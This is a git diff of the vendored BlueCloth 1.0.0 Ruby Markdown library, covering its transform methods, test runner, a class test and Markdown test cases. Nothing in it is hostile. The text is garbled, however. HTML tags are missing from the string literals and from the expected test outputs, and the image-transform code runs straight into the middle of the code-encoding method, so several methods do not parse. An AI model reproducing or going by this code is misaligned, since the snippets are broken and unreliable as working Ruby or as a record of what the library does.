item = apply_block_transforms( outdent(item), rs ) + else + # Recursion for sub-lists + @log.debug " Recursing for sublist" + item = transform_lists( outdent(item), rs ).chomp + item = apply_span_transforms( item, rs ) + end + + %{
  • %s
  • \n} % item + } + end + + + # Pattern for matching codeblocks + CodeBlockRegexp = %r{ + (?:\n\n|\A) + ( # $1 = the code block + (?: + (?:[ ]{#{TabWidth}} | \t) # a tab or tab-width of spaces + .*\n+ + )+ + ) + (^[ ]{0,#{TabWidth - 1}}\S|\Z) # Lookahead for non-space at + # line-start, or end of doc + }x + + ### Transform Markdown-style codeblocks in a copy of the specified +str+ and + ### return it. + def transform_code_blocks( str, rs ) + @log.debug " Transforming code blocks" + + str.gsub( CodeBlockRegexp ) {|block| + codeblock = $1 + remainder = $2 + + # Generate the codeblock + %{\n\n
    %s\n
    \n\n%s} % + [ encode_code( outdent(codeblock), rs ).rstrip, remainder ] + } + end + + + # Pattern for matching Markdown blockquote blocks + BlockQuoteRegexp = %r{ + (?: + ^[ ]*>[ ]? # '>' at the start of a line + .+\n # rest of the first line + (?:.+\n)* # subsequent consecutive lines + \n* # blanks + )+ + }x + PreChunk = %r{ ( ^ \s*
     .+? 
    ) }xm + + ### Transform Markdown-style blockquotes in a copy of the specified +str+ + ### and return it. + def transform_block_quotes( str, rs ) + @log.debug " Transforming block quotes" + + str.gsub( BlockQuoteRegexp ) {|quote| + @log.debug "Making blockquote from %p" % quote + + quote.gsub!( /^ *> ?/, '' ) # Trim one level of quoting + quote.gsub!( /^ +$/, '' ) # Trim whitespace-only lines + + indent = " " * TabWidth + quoted = %{
    \n%s\n
    \n\n} % + apply_block_transforms( quote, rs ). + gsub( /^/, indent ). + gsub( PreChunk ) {|m| m.gsub(/^#{indent}/o, '') } + @log.debug "Blockquoted chunk is: %p" % quoted + quoted + } + end + + + AutoAnchorURLRegexp = /<((https?|ftp):[^'">\s]+)>/ + AutoAnchorEmailRegexp = %r{ + < + ( + [-.\w]+ + \@ + [-a-z0-9]+(\.[-a-z0-9]+)*\.[a-z]+ + ) + > + }xi + + ### Transform URLs in a copy of the specified +str+ into links and return + ### it. + def transform_auto_links( str, rs ) + @log.debug " Transforming auto-links" + str.gsub( AutoAnchorURLRegexp, %{\\1}). + gsub( AutoAnchorEmailRegexp ) {|addr| + encode_email_address( unescape_special_chars($1) ) + } + end + + + # Encoder functions to turn characters of an email address into encoded + # entities. + Encoders = [ + lambda {|char| "&#%03d;" % char}, + lambda {|char| "&#x%X;" % char}, + lambda {|char| char.chr }, + ] + + ### Transform a copy of the given email +addr+ into an escaped version safer + ### for posting publicly. + def encode_email_address( addr ) + + rval = '' + ("mailto:" + addr).each_byte {|b| + case b + when ?: + rval += ":" + when ?@ + rval += Encoders[ rand(2) ][ b ] + else + r = rand(100) + rval += ( + r > 90 ? Encoders[2][ b ] : + r < 45 ? Encoders[1][ b ] : + Encoders[0][ b ] + ) + end + } + + return %{%s} % [ rval, rval.sub(/.+?:/, '') ] + end + + + # Regex for matching Setext-style headers + SetextHeaderRegexp = %r{ + (.+) # The title text ($1) + \n + ([\-=])+ # Match a line of = or -. Save only one in $2. + [ ]*\n+ + }x + + # Regexp for matching ATX-style headers + AtxHeaderRegexp = %r{ + ^(\#{1,6}) # $1 = string of #'s + [ ]* + (.+?) # $2 = Header text + [ ]* + \#* # optional closing #'s (not counted) + \n+ + }x + + ### Apply Markdown header transforms to a copy of the given +str+ amd render + ### state +rs+ and return the result. + def transform_headers( str, rs ) + @log.debug " Transforming headers" + + # Setext-style headers: + # Header 1 + # ======== + # + # Header 2 + # -------- + # + str. + gsub( SetextHeaderRegexp ) {|m| + @log.debug "Found setext-style header" + title, hdrchar = $1, $2 + title = apply_span_transforms( title, rs ) + + case hdrchar + when '=' + %[

    #{title}

    \n\n] + when '-' + %[

    #{title}

    \n\n] + else + title + end + }. + + gsub( AtxHeaderRegexp ) {|m| + @log.debug "Found ATX-style header" + hdrchars, title = $1, $2 + title = apply_span_transforms( title, rs ) + + level = hdrchars.length + %{%s\n\n} % [ level, title, level ] + } + end + + + ### Wrap all remaining paragraph-looking text in a copy of +str+ inside

    + ### tags and return it. + def form_paragraphs( str, rs ) + @log.debug " Forming paragraphs" + grafs = str. + sub( /\A\n+/, '' ). + sub( /\n+\z/, '' ). + split( /\n{2,}/ ) + + rval = grafs.collect {|graf| + + # Unhashify HTML blocks if this is a placeholder + if rs.html_blocks.key?( graf ) + rs.html_blocks[ graf ] + + # Otherwise, wrap in

    tags + else + apply_span_transforms(graf, rs). + sub( /^[ ]*/, '

    ' ) + '

    ' + end + }.join( "\n\n" ) + + @log.debug " Formed paragraphs: %p" % rval + return rval + end + + + # Pattern to match the linkid part of an anchor tag for reference-style + # links. + RefLinkIdRegex = %r{ + [ ]? # Optional leading space + (?:\n[ ]*)? # Optional newline + spaces + \[ + (.*?) # Id = $1 + \] + }x + + InlineLinkRegex = %r{ + \( # Literal paren + [ ]* # Zero or more spaces + ? # URI = $1 + [ ]* # Zero or more spaces + (?: # + ([\"\']) # Opening quote char = $2 + (.*?) # Title = $3 + \2 # Matching quote char + )? # Title is optional + \) + }x + + ### Apply Markdown anchor transforms to a copy of the specified +str+ with + ### the given render state +rs+ and return it. + def transform_anchors( str, rs ) + @log.debug " Transforming anchors" + @scanner.string = str.dup + text = '' + + # Scan the whole string + until @scanner.empty? + + if @scanner.scan( /\[/ ) + link = ''; linkid = '' + depth = 1 + startpos = @scanner.pos + @log.debug " Found a bracket-open at %d" % startpos + + # Scan the rest of the tag, allowing unlimited nested []s. If + # the scanner runs out of text before the opening bracket is + # closed, append the text and return (wasn't a valid anchor). + while depth.nonzero? + linktext = @scanner.scan_until( /\]|\[/ ) + + if linktext + @log.debug " Found a bracket at depth %d: %p" % [ depth, linktext ] + link += linktext + + # Decrement depth for each closing bracket + depth += ( linktext[-1, 1] == ']' ? -1 : 1 ) + @log.debug " Depth is now #{depth}" + + # If there's no more brackets, it must not be an anchor, so + # just abort. + else + @log.debug " Missing closing brace, assuming non-link." + link += @scanner.rest + @scanner.terminate + return text + '[' + link + end + end + link.slice!( -1 ) # Trim final ']' + @log.debug " Found leading link %p" % link + + # Look for a reference-style second part + if @scanner.scan( RefLinkIdRegex ) + linkid = @scanner[1] + linkid = link.dup if linkid.empty? + linkid.downcase! + @log.debug " Found a linkid: %p" % linkid + + # If there's a matching link in the link table, build an + # anchor tag for it. + if rs.urls.key?( linkid ) + @log.debug " Found link key in the link table: %p" % rs.urls[linkid] + url = escape_md( rs.urls[linkid] ) + + text += %{#{link}} + + # If the link referred to doesn't exist, just append the raw + # source to the result + else + @log.debug " Linkid %p not found in link table" % linkid + @log.debug " Appending original string instead: " + @log.debug "%p" % @scanner.string[ startpos-1 .. @scanner.pos-1 ] + text += @scanner.string[ startpos-1 .. @scanner.pos-1 ] + end + + # ...or for an inline style second part + elsif @scanner.scan( InlineLinkRegex ) + url = @scanner[1] + title = @scanner[3] + @log.debug " Found an inline link to %p" % url + + text += %{#{link}} + + # No linkid part: just append the first part as-is. + else + @log.debug "No linkid, so no anchor. Appending literal text." + text += @scanner.string[ startpos-1 .. @scanner.pos-1 ] + end # if linkid + + # Plain text + else + @log.debug " Scanning to the next link from %p" % @scanner.rest + text += @scanner.scan( /[^\[]+/ ) + end + + end # until @scanner.empty? + + return text + end + + + # Pattern to match strong emphasis in Markdown text + BoldRegexp = %r{ (\*\*|__) (\S|\S.+?\S) \1 }x + + # Pattern to match normal emphasis in Markdown text + ItalicRegexp = %r{ (\*|_) (\S|\S.+?\S) \1 }x + + ### Transform italic- and bold-encoded text in a copy of the specified +str+ + ### and return it. + def transform_italic_and_bold( str, rs ) + @log.debug " Transforming italic and bold" + + str. + gsub( BoldRegexp, %{\\2} ). + gsub( ItalicRegexp, %{\\2} ) + end + + + ### Transform backticked spans into spans. + def transform_code_spans( str, rs ) + @log.debug " Transforming code spans" + + # Set up the string scanner and just return the string unless there's at + # least one backtick. + @scanner.string = str.dup + unless @scanner.exist?( /`/ ) + @scanner.terminate + @log.debug "No backticks found for code span in %p" % str + return str + end + + @log.debug "Transforming code spans in %p" % str + + # Build the transformed text anew + text = '' + + # Scan to the end of the string + until @scanner.empty? + + # Scan up to an opening backtick + if pre = @scanner.scan_until( /.?(?=`)/m ) + text += pre + @log.debug "Found backtick at %d after '...%s'" % [ @scanner.pos, text[-10, 10] ] + + # Make a pattern to find the end of the span + opener = @scanner.scan( /`+/ ) + len = opener.length + closer = Regexp::new( opener ) + @log.debug "Scanning for end of code span with %p" % closer + + # Scan until the end of the closing backtick sequence. Chop the + # backticks off the resultant string, strip leading and trailing + # whitespace, and encode any enitites contained in it. + codespan = @scanner.scan_until( closer ) or + raise FormatError::new( @scanner.rest[0,20], + "No %p found before end" % opener ) + + @log.debug "Found close of code span at %d: %p" % [ @scanner.pos - len, codespan ] + codespan.slice!( -len, len ) + text += "%s" % + encode_code( codespan.strip, rs ) + + # If there's no more backticks, just append the rest of the string + # and move the scan pointer to the end + else + text += @scanner.rest + @scanner.terminate + end + end + + return text + end + + + # Next, handle inline images: ![alt text](url "optional title") + # Don't forget: encode * and _ + InlineImageRegexp = %r{ + ( # Whole match = $1 + !\[ (.*?) \] # alt text = $2 + \([ ]* + ? # source url = $3 + [ ]* + (?: # + (["']) # quote char = $4 + (.*?) # title = $5 + \4 # matching quote + [ ]* + )? # title is optional + \) + ) + }xs #" + + + # Reference-style images + ReferenceImageRegexp = %r{ + ( # Whole match = $1 + !\[ (.*?) \] # Alt text = $2 + [ ]? # Optional space + (?:\n[ ]*)? # One optional newline + spaces + \[ (.*?) \] # id = $3 + ) + }xs + + ### Turn image markup into image tags. + def transform_images( str, rs ) + @log.debug " Transforming images" % str + + # Handle reference-style labeled images: ![alt text][id] + str. + gsub( ReferenceImageRegexp ) {|match| + whole, alt, linkid = $1, $2, $3.downcase + @log.debug "Matched %p" % match + res = nil + alt.gsub!( /"/, '"' ) + + # for shortcut links like ![this][]. + linkid = alt.downcase if linkid.empty? + + if rs.urls.key?( linkid ) + url = escape_md( rs.urls[linkid] ) + @log.debug "Found url '%s' for linkid '%s' " % [ url, linkid ] + + # Build the tag + result = %{%s}, '>' ). + gsub( CodeEscapeRegexp ) {|match| EscapeTable[match][:md5]} + end + + + + ################################################################# + ### U T I L I T Y F U N C T I O N S + ################################################################# + + ### Escape any markdown characters in a copy of the given +str+ and return + ### it. + def escape_md( str ) + str. + gsub( /\*/, EscapeTable['*'][:md5] ). + gsub( /_/, EscapeTable['_'][:md5] ) + end + + + # Matching constructs for tokenizing X/HTML + HTMLCommentRegexp = %r{ }mx + XMLProcInstRegexp = %r{ <\? .*? \?> }mx + MetaTag = Regexp::union( HTMLCommentRegexp, XMLProcInstRegexp ) + + HTMLTagOpenRegexp = %r{ < [a-z/!$] [^<>]* }imx + HTMLTagCloseRegexp = %r{ > }x + HTMLTagPart = Regexp::union( HTMLTagOpenRegexp, HTMLTagCloseRegexp ) + + ### Break the HTML source in +str+ into a series of tokens and return + ### them. The tokens are just 2-element Array tuples with a type and the + ### actual content. If this function is called with a block, the type and + ### text parts of each token will be yielded to it one at a time as they are + ### extracted. + def tokenize_html( str ) + depth = 0 + tokens = [] + @scanner.string = str.dup + type, token = nil, nil + + until @scanner.empty? + @log.debug "Scanning from %p" % @scanner.rest + + # Match comments and PIs without nesting + if (( token = @scanner.scan(MetaTag) )) + type = :tag + + # Do nested matching for HTML tags + elsif (( token = @scanner.scan(HTMLTagOpenRegexp) )) + tagstart = @scanner.pos + @log.debug " Found the start of a plain tag at %d" % tagstart + + # Start the token with the opening angle + depth = 1 + type = :tag + + # Scan the rest of the tag, allowing unlimited nested <>s. If + # the scanner runs out of text before the tag is closed, raise + # an error. + while depth.nonzero? + + # Scan either an opener or a closer + chunk = @scanner.scan( HTMLTagPart ) or + raise "Malformed tag at character %d: %p" % + [ tagstart, token + @scanner.rest ] + + @log.debug " Found another part of the tag at depth %d: %p" % [ depth, chunk ] + + token += chunk + + # If the last character of the token so far is a closing + # angle bracket, decrement the depth. Otherwise increment + # it for a nested tag. + depth += ( token[-1, 1] == '>' ? -1 : 1 ) + @log.debug " Depth is now #{depth}" + end + + # Match text segments + else + @log.debug " Looking for a chunk of text" + type = :text + + # Scan forward, always matching at least one character to move + # the pointer beyond any non-tag '<'. + token = @scanner.scan_until( /[^<]+/m ) + end + + @log.debug " type: %p, token: %p" % [ type, token ] + + # If a block is given, feed it one token at a time. Add the token to + # the token list to be returned regardless. + if block_given? + yield( type, token ) + end + tokens << [ type, token ] + end + + return tokens + end + + + ### Return a copy of +str+ with angle brackets and ampersands HTML-encoded. + def encode_html( str ) + str.gsub( /&(?!#?[x]?(?:[0-9a-f]+|\w+);)/i, "&" ). + gsub( %r{<(?![a-z/?\$!])}i, "<" ) + end + + + ### Return one level of line-leading tabs or spaces from a copy of +str+ and + ### return it. + def outdent( str ) + str.gsub( /^(\t|[ ]{1,#{TabWidth}})/, '') + end + +end # class BlueCloth + diff --git a/vendor/bluecloth-1.0.0/test.rb b/vendor/bluecloth-1.0.0/test.rb index c86fca08..935ef68b 100755 --- a/vendor/bluecloth-1.0.0/test.rb +++ b/vendor/bluecloth-1.0.0/test.rb @@ -1,117 +1,117 @@ -#!/usr/bin/ruby -# -# Test suite for BlueCloth classes -# $Id: test.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ -# - -BEGIN { - $basedir = File::dirname( __FILE__ ) - ["lib", "tests", "redist"].each do |subdir| - $LOAD_PATH.unshift File::join( $basedir, subdir ) - end - - require "#{$basedir}/utils" - include UtilityFunctions -} - -verboseOff { - require 'bctestcase' - require 'find' - require 'test/unit' - require 'test/unit/testsuite' - require 'test/unit/ui/console/testrunner' - require 'optparse' -} - -# Turn off output buffering -$stderr.sync = $stdout.sync = true -$DebugPattern = nil - -# Initialize variables -safelevel = 0 -patterns = [] -requires = [] - -# Parse command-line switches -ARGV.options {|oparser| - oparser.banner = "Usage: #$0 [options] [TARGETS]\n" - - oparser.on( "--debug[=PATTERN]", "-d[=PATTERN]", String, - "Turn debugging on (for tests which match PATTERN)" ) {|arg| - if arg - $DebugPattern = Regexp::new( arg ) - puts "Turned debugging on for %p." % $DebugPattern - else - $DEBUG = true - debugMsg "Turned debugging on globally." - end - } - - oparser.on( "--verbose", "-v", TrueClass, "Make progress verbose" ) { - $VERBOSE = true - debugMsg "Turned verbose on." - } - - # Handle the 'help' option - oparser.on( "--help", "-h", "Display this text." ) { - $stderr.puts oparser - exit!(0) - } - - oparser.parse! -} - -# Parse test patterns -ARGV.each {|pat| patterns << Regexp::new( pat, Regexp::IGNORECASE )} -$stderr.puts "#{patterns.length} patterns given on the command line" - -### Load all the tests from the tests dir -Find.find("#{$basedir}/tests") {|file| - Find.prune if /\/\./ =~ file or /~$/ =~ file - Find.prune if /TEMPLATE/ =~ file - next if File.stat( file ).directory? - - unless patterns.empty? - Find.prune unless patterns.find {|pat| pat =~ file} - end - - debugMsg "Considering '%s': " % file - next unless file =~ /\.tests.rb$/ - debugMsg "Requiring '%s'..." % file - require "#{file}" - requires << file -} - -$stderr.puts "Required #{requires.length} files." -unless patterns.empty? - $stderr.puts "[" + requires.sort.join( ", " ) + "]" -end - -# Build the test suite -class BlueClothTests - class << self - def suite - suite = Test::Unit::TestSuite.new( "BlueCloth" ) - - if suite.respond_to?( :add ) - ObjectSpace.each_object( Class ) {|klass| - suite.add( klass.suite ) if klass < BlueCloth::TestCase - } - else - ObjectSpace.each_object( Class ) {|klass| - suite << klass.suite if klass < BlueCloth::TestCase - } - end - - return suite - end - end -end - -# Run tests -$SAFE = safelevel -Test::Unit::UI::Console::TestRunner.new( BlueClothTests ).start - - - - +#!/usr/bin/ruby +# +# Test suite for BlueCloth classes +# $Id: test.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ +# + +BEGIN { + $basedir = File::dirname( __FILE__ ) + ["lib", "tests", "redist"].each do |subdir| + $LOAD_PATH.unshift File::join( $basedir, subdir ) + end + + require "#{$basedir}/utils" + include UtilityFunctions +} + +verboseOff { + require 'bctestcase' + require 'find' + require 'test/unit' + require 'test/unit/testsuite' + require 'test/unit/ui/console/testrunner' + require 'optparse' +} + +# Turn off output buffering +$stderr.sync = $stdout.sync = true +$DebugPattern = nil + +# Initialize variables +safelevel = 0 +patterns = [] +requires = [] + +# Parse command-line switches +ARGV.options {|oparser| + oparser.banner = "Usage: #$0 [options] [TARGETS]\n" + + oparser.on( "--debug[=PATTERN]", "-d[=PATTERN]", String, + "Turn debugging on (for tests which match PATTERN)" ) {|arg| + if arg + $DebugPattern = Regexp::new( arg ) + puts "Turned debugging on for %p." % $DebugPattern + else + $DEBUG = true + debugMsg "Turned debugging on globally." + end + } + + oparser.on( "--verbose", "-v", TrueClass, "Make progress verbose" ) { + $VERBOSE = true + debugMsg "Turned verbose on." + } + + # Handle the 'help' option + oparser.on( "--help", "-h", "Display this text." ) { + $stderr.puts oparser + exit!(0) + } + + oparser.parse! +} + +# Parse test patterns +ARGV.each {|pat| patterns << Regexp::new( pat, Regexp::IGNORECASE )} +$stderr.puts "#{patterns.length} patterns given on the command line" + +### Load all the tests from the tests dir +Find.find("#{$basedir}/tests") {|file| + Find.prune if /\/\./ =~ file or /~$/ =~ file + Find.prune if /TEMPLATE/ =~ file + next if File.stat( file ).directory? + + unless patterns.empty? + Find.prune unless patterns.find {|pat| pat =~ file} + end + + debugMsg "Considering '%s': " % file + next unless file =~ /\.tests.rb$/ + debugMsg "Requiring '%s'..." % file + require "#{file}" + requires << file +} + +$stderr.puts "Required #{requires.length} files." +unless patterns.empty? + $stderr.puts "[" + requires.sort.join( ", " ) + "]" +end + +# Build the test suite +class BlueClothTests + class << self + def suite + suite = Test::Unit::TestSuite.new( "BlueCloth" ) + + if suite.respond_to?( :add ) + ObjectSpace.each_object( Class ) {|klass| + suite.add( klass.suite ) if klass < BlueCloth::TestCase + } + else + ObjectSpace.each_object( Class ) {|klass| + suite << klass.suite if klass < BlueCloth::TestCase + } + end + + return suite + end + end +end + +# Run tests +$SAFE = safelevel +Test::Unit::UI::Console::TestRunner.new( BlueClothTests ).start + + + + diff --git a/vendor/bluecloth-1.0.0/tests/00_Class.tests.rb b/vendor/bluecloth-1.0.0/tests/00_Class.tests.rb index e735d80a..730d17d4 100755 --- a/vendor/bluecloth-1.0.0/tests/00_Class.tests.rb +++ b/vendor/bluecloth-1.0.0/tests/00_Class.tests.rb @@ -1,71 +1,71 @@ -#!/usr/bin/ruby -# -# Unit test for the BlueCloth class object -# $Id: 00_Class.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ -# -# Copyright (c) 2004 The FaerieMUD Consortium. -# - -if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) - basedir = File::dirname( __FILE__ ) - require File::join( basedir, 'bctestcase' ) -end - - -### This test case tests ... -class BlueClothClassTestCase < BlueCloth::TestCase - - TestString = "foo" - - def test_00_class_constant - printTestHeader "BlueCloth: Class Constant" - - assert Object::constants.include?( "BlueCloth" ), - "No BlueCloth constant in Object" - assert_instance_of Class, BlueCloth - end - - def test_01_instantiation - printTestHeader "BlueCloth: Instantiation" - rval = nil - - # With no argument... ("") - assert_nothing_raised { - rval = BlueCloth::new - } - assert_instance_of BlueCloth, rval - assert_kind_of String, rval - assert_equal "", rval - - # String argument - assert_nothing_raised { - rval = BlueCloth::new TestString - } - assert_instance_of BlueCloth, rval - assert_kind_of String, rval - assert_equal TestString, rval - - addSetupBlock { - debugMsg "Creating a new BlueCloth" - @obj = BlueCloth::new( TestString ) - } - addTeardownBlock { - @obj = nil - } - end - - def test_02_duplication - printTestHeader "BlueCloth: Duplication" - rval = nil - - assert_nothing_raised { - rval = @obj.dup - } - assert_instance_of BlueCloth, rval - assert_kind_of String, rval - assert_equal TestString, rval - end - - -end - +#!/usr/bin/ruby +# +# Unit test for the BlueCloth class object +# $Id: 00_Class.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ +# +# Copyright (c) 2004 The FaerieMUD Consortium. +# + +if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) + basedir = File::dirname( __FILE__ ) + require File::join( basedir, 'bctestcase' ) +end + + +### This test case tests ... +class BlueClothClassTestCase < BlueCloth::TestCase + + TestString = "foo" + + def test_00_class_constant + printTestHeader "BlueCloth: Class Constant" + + assert Object::constants.include?( "BlueCloth" ), + "No BlueCloth constant in Object" + assert_instance_of Class, BlueCloth + end + + def test_01_instantiation + printTestHeader "BlueCloth: Instantiation" + rval = nil + + # With no argument... ("") + assert_nothing_raised { + rval = BlueCloth::new + } + assert_instance_of BlueCloth, rval + assert_kind_of String, rval + assert_equal "", rval + + # String argument + assert_nothing_raised { + rval = BlueCloth::new TestString + } + assert_instance_of BlueCloth, rval + assert_kind_of String, rval + assert_equal TestString, rval + + addSetupBlock { + debugMsg "Creating a new BlueCloth" + @obj = BlueCloth::new( TestString ) + } + addTeardownBlock { + @obj = nil + } + end + + def test_02_duplication + printTestHeader "BlueCloth: Duplication" + rval = nil + + assert_nothing_raised { + rval = @obj.dup + } + assert_instance_of BlueCloth, rval + assert_kind_of String, rval + assert_equal TestString, rval + end + + +end + diff --git a/vendor/bluecloth-1.0.0/tests/05_Markdown.tests.rb b/vendor/bluecloth-1.0.0/tests/05_Markdown.tests.rb index e2449ba1..4886cb8d 100755 --- a/vendor/bluecloth-1.0.0/tests/05_Markdown.tests.rb +++ b/vendor/bluecloth-1.0.0/tests/05_Markdown.tests.rb @@ -1,1527 +1,1527 @@ -#!/usr/bin/ruby -# -# Test case for BlueCloth Markdown transforms. -# $Id: 05_Markdown.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ -# -# Copyright (c) 2004 The FaerieMUD Consortium. -# - -if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) - basedir = File::dirname( __FILE__ ) - require File::join( basedir, 'bctestcase' ) -end - - -### This test case tests ... -class SubfunctionsTestCase < BlueCloth::TestCase - - ### Test email address output - Emails = %w[ - address@example.com - foo-list-admin@bar.com - fu@bar.COM - baz@ruby-lang.org - foo-tim-bazzle@bar-hop.co.uk - littlestar@twinkle.twinkle.band.CO.ZA - ll@lll.lllll.ll - Ull@Ulll.Ulllll.ll - UUUU1@UU1.UU1UUU.UU - l@ll.ll - Ull.Ullll@llll.ll - Ulll-Ull.Ulllll@ll.ll - 1@111.ll - ] - # I can't see a way to handle IDNs clearly yet, so these will have to wait. - # info@öko.de - # jemand@büro.de - # irgendwo-interreßant@dÅgta.se - #] - - def test_10_email_address - printTestHeader "BlueCloth: Inline email address" - rval = match = nil - - Emails.each {|addr| - assert_nothing_raised { - rval = BlueCloth::new( "<#{addr}>" ).to_html - } - - match = %r{

    [^<]+

    }.match( rval ) - assert_not_nil match, "Match against output #{rval}" - assert_equal "mailto:#{addr}", decode( match[1] ) - } - end - - - def decode( str ) - str.gsub( /&#(x[a-f0-9]+|\d{3});/i ) {|match| - code = $1 - debugMsg "Decoding %p" % code - - case code - when /^x([a-f0-9]+)/i - debugMsg " (hex) = %p" % $1.to_i(16).chr - $1.to_i(16).chr - when /\d{3}/ - debugMsg " (oct) = %p" % code.to_i.chr - code.to_i.chr - else - raise "Hmmm... malformed entity %p" % code - end - } - end - - - - ################################################################# - ### A U T O - G E N E R A T E D T E S T S - ################################################################# - - # Parse the data section into a hash of test specifications - TestSets = {} - begin - seenEnd = false - inMetaSection = true - inInputSection = true - section, description, input, output = '', '', '', '' - linenum = 0 - - # Read this file, skipping lines until the __END__ token. Then start - # reading the tests. - File::foreach( __FILE__ ) {|line| - linenum += 1 - if /^__END__/ =~ line then seenEnd = true; next end - debugMsg "#{linenum}: #{line.chomp}" - next unless seenEnd - - # Start off in the meta section, which has sections and - # descriptions. - if inMetaSection - - case line - - # Left angles switch into data section for the current section - # and description. - when /^<< linenum, - :sets => [], - } - - end - - # Data section has input and expected output parts - else - - case line - - # Right angles terminate a data section, at which point we - # should have enough data to add a test. - when /^>>>/ - TestSets[ section ][ description ][:sets] << [ input.chomp, output.chomp ] - - inMetaSection = true - inInputSection = true - input = ''; output = '' - - # 3-Dashed divider with text divides input from output - when /^--- (.+)/ - inInputSection = false - - # Anything else adds to either input or output - else - if inInputSection - input += line - else - output += line - end - end - end - } - end - - debugMsg "Test sets: %p" % TestSets - - # Auto-generate tests out of the test specifications - TestSets.each {|sname, section| - - # Generate a test method for each section - section.each do |desc, test| - methname = "test_%03d_%s" % - [ test[:line], desc.gsub(/\W+/, '_').downcase ] - - # Header - code = %{ - def #{methname} - printTestHeader "BlueCloth: #{desc}" - rval = nil - } - - # An assertion for each input/output pair - test[:sets].each {|input, output| - code << %{ - assert_nothing_raised { - obj = BlueCloth::new(%p) - rval = obj.to_html - } - assert_equal %p, rval - - } % [ input, output ] - } - - code << %{ - end - } - - - debugMsg "--- %s [%s]:\n%s\n---\n" % [sname, desc, code] - eval code - end - - } - -end - - -__END__ - -### [Paragraphs and Line Breaks] - -# Paragraphs -<<< -This is some stuff that should all be -put in one paragraph -even though -it occurs over several lines. - -And this is a another -one. ---- Should become: -

    This is some stuff that should all be -put in one paragraph -even though -it occurs over several lines.

    - -

    And this is a another -one.

    ->>> - -# Line breaks -<<< -Mostly the same kind of thing -with two spaces at the end -of each line -should result in -line breaks, though. - -And this is a another -one. ---- Should become: -

    Mostly the same kind of thing
    -with two spaces at the end
    -of each line
    -should result in
    -line breaks, though.

    - -

    And this is a another
    -one.

    ->>> - -# Escaping special characters -<<< -The left shift operator, which is written as <<, is often used & greatly admired. ---- Should become: -

    The left shift operator, which is written as <<, is often used & greatly admired.

    ->>> - -# Preservation of named entities -<<< -The left shift operator, which is written as <<, is often used & greatly admired. ---- Should become: -

    The left shift operator, which is written as <<, is often used & greatly admired.

    ->>> - -# Preservation of decimal-encoded entities -<<< -The left shift operator, which is written as <<, is often used & greatly admired. ---- Should become: -

    The left shift operator, which is written as <<, is often used & greatly admired.

    ->>> - -# Preservation of hex-encoded entities -<<< -The left shift operator, which is written as <<, is often used & greatly admired. ---- Should become: -

    The left shift operator, which is written as <<, is often used & greatly admired.

    ->>> - -# Inline HTML - table tags -<<< -This is a regular paragraph. - - - - - -
    Foo
    - -This is another regular paragraph. ---- Should become: -

    This is a regular paragraph.

    - - - - - -
    Foo
    - -

    This is another regular paragraph.

    ->>> - -# Inline HTML - div tags -<<< -This is a regular paragraph. - -
    - Something -
    -Something else. ---- Should become: -

    This is a regular paragraph.

    - -
    - Something -
    - -

    Something else.

    ->>> - - -# Inline HTML - Plain HR -<<< -This is a regular paragraph. - -
    - -Something else. ---- Should become: -

    This is a regular paragraph.

    - -
    - -

    Something else.

    ->>> - - -# Inline HTML - Fancy HR -<<< -This is a regular paragraph. - -
    - -Something else. ---- Should become: -

    This is a regular paragraph.

    - -
    - -

    Something else.

    ->>> - - -# Inline HTML - Iframe -<<< -This is a regular paragraph. - - - -Something else. ---- Should become: -

    This is a regular paragraph.

    - - - -

    Something else.

    ->>> - - -# Inline HTML - mathml -<<< -Examples --------- - -Now that we have met some of the key players, it is time to see what we can -do. Here are some examples and comments which illustrate the use of the basic -layout and token elements. Consider the expression x2 + 4x + 4 = 0. A basic -MathML presentation encoding for this would be: - - - - - x - 2 - - + - 4 - x - + - 4 - = - 0 - - - -This encoding will display as you would expect. However, if we were interested -in reusing this expression in unknown situations, we would likely want to spend -a little more effort analyzing and encoding the logical expression structure. - ---- Should become: -

    Examples

    - -

    Now that we have met some of the key players, it is time to see what we can -do. Here are some examples and comments which illustrate the use of the basic -layout and token elements. Consider the expression x2 + 4x + 4 = 0. A basic -MathML presentation encoding for this would be:

    - - - - - x - 2 - - + - 4 - x - + - 4 - = - 0 - - - -

    This encoding will display as you would expect. However, if we were interested -in reusing this expression in unknown situations, we would likely want to spend -a little more effort analyzing and encoding the logical expression structure.

    ->>> - - -# Span-level HTML -<<< -This is some stuff with a spanned bit of text in -it. And this *should* be a bit of deleted text which should be -preserved, and part of it emphasized. ---- Should become: -

    This is some stuff with a spanned bit of text in -it. And this should be a bit of deleted text which should be -preserved, and part of it emphasized.

    ->>> - -# Inline HTML (Case-sensitivity) -<<< -This is a regular paragraph. - - - - - -
    Foo
    - -This is another regular paragraph. ---- Should become: -

    This is a regular paragraph.

    - - - - - -
    Foo
    - -

    This is another regular paragraph.

    ->>> - -# Span-level HTML (Case-sensitivity) -<<< -This is some stuff with a spanned bit of text in -it. And this *should* be a bit of deleted text which should be -preserved, and part of it emphasized. ---- Should become: -

    This is some stuff with a spanned bit of text in -it. And this should be a bit of deleted text which should be -preserved, and part of it emphasized.

    ->>> - - - -### [Code spans] - -# Single backtick -<<< -Making `code` work for you ---- Should become: -

    Making code work for you

    ->>> - -# Literal backtick with doubling -<<< -Making `` `code` `` work for you ---- Should become: -

    Making `code` work for you

    ->>> - -# Many repetitions -<<< -Making `````code````` work for you ---- Should become: -

    Making code work for you

    ->>> - -# Two in a row -<<< -This `thing` should be `two` spans. ---- Should become: -

    This thing should be two spans.

    ->>> - -# At the beginning of a newline -<<< -I should think that the -`tar` command would be universal. ---- Should become: -

    I should think that the -tar command would be universal.

    ->>> - -# Entity escaping -<<< -The left angle-bracket (`<`) can also be written as a decimal-encoded -(`<`) or hex-encoded (`<`) entity. ---- Should become: -

    The left angle-bracket (&lt;) can also be written as a decimal-encoded -(&#060;) or hex-encoded (&#x3c;) entity.

    ->>> - -# At the beginning of a document (Bug #525) -<<< -`world` views ---- Should become: -

    world views

    ->>> - - - - -### [Code blocks] - -# Para plus code block (literal tab) -<<< -This is a chunk of code: - - some.code > some.other_code - -Some stuff. ---- Should become: -

    This is a chunk of code:

    - -
    some.code > some.other_code
    -
    - -

    Some stuff.

